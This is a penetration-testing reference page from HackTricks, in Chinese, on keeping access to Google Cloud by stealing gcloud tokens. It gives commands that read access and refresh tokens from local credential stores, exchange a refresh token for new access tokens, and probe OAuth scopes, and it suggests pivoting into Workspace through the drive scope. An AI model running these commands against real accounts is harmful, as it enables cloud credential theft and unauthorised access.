GCP - Token Persistance

支持 HackTricks

认证用户令牌

要获取用户的 当前令牌,您可以运行:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

查看此页面如何直接使用此令牌通过gcloud

要获取生成新访问令牌的详细信息,请运行:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

还可以在 $HOME/.config/gcloud/application_default_credentials.json$HOME/.config/gcloud/legacy_credentials/*/adc.json 中找到刷新令牌。

要使用 刷新令牌、客户端 ID 和客户端密钥获取新的刷新访问令牌,请运行:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

刷新令牌的有效性可以在 Admin > Security > Google Cloud session control 中管理,默认设置为 16 小时,尽管可以设置为永不过期:

Auth flow

使用类似 gcloud auth login 的认证流程将在浏览器中打开一个提示,接受所有范围后,浏览器将向工具打开的 http 端口发送类似于以下的请求:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

然后,gcloud 将使用状态和代码与一些硬编码的 client_id (32555940559.apps.googleusercontent.com) 和 client_secret (ZmssLNjJy2998hD4CTg2ejr2) 来获取 最终的刷新令牌数据

请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这没有用,直接从文件中读取刷新令牌更容易。

OAuth 范围

您可以在 https://developers.google.com/identity/protocols/oauth2/scopes 找到所有 Google 范围,或通过执行以下命令获取它们:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

可以使用以下脚本查看**gcloud**用于身份验证的应用程序可以支持哪些范围:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

在执行后,检查到此应用支持以下范围:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

很有趣的是,这个应用支持**drive**范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从GCP升级到Workspace。

查看如何 在这里滥用它

服务账户

就像经过身份验证的用户一样,如果您设法泄露服务账户的私钥文件,您将能够通常无限期访问它。 然而,如果您窃取了服务账户的OAuth令牌,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果受害者删除了私有API密钥,OAuth令牌在过期之前仍然有效

元数据

显然,只要您在运行GCP环境的机器内部,您将能够通过联系元数据端点访问附加到该机器的服务账户(请注意,您可以在此端点访问的OAuth令牌通常受范围限制)。

补救措施

一些针对这些技术的补救措施在https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2中进行了说明。

参考

支持HackTricks

Last updated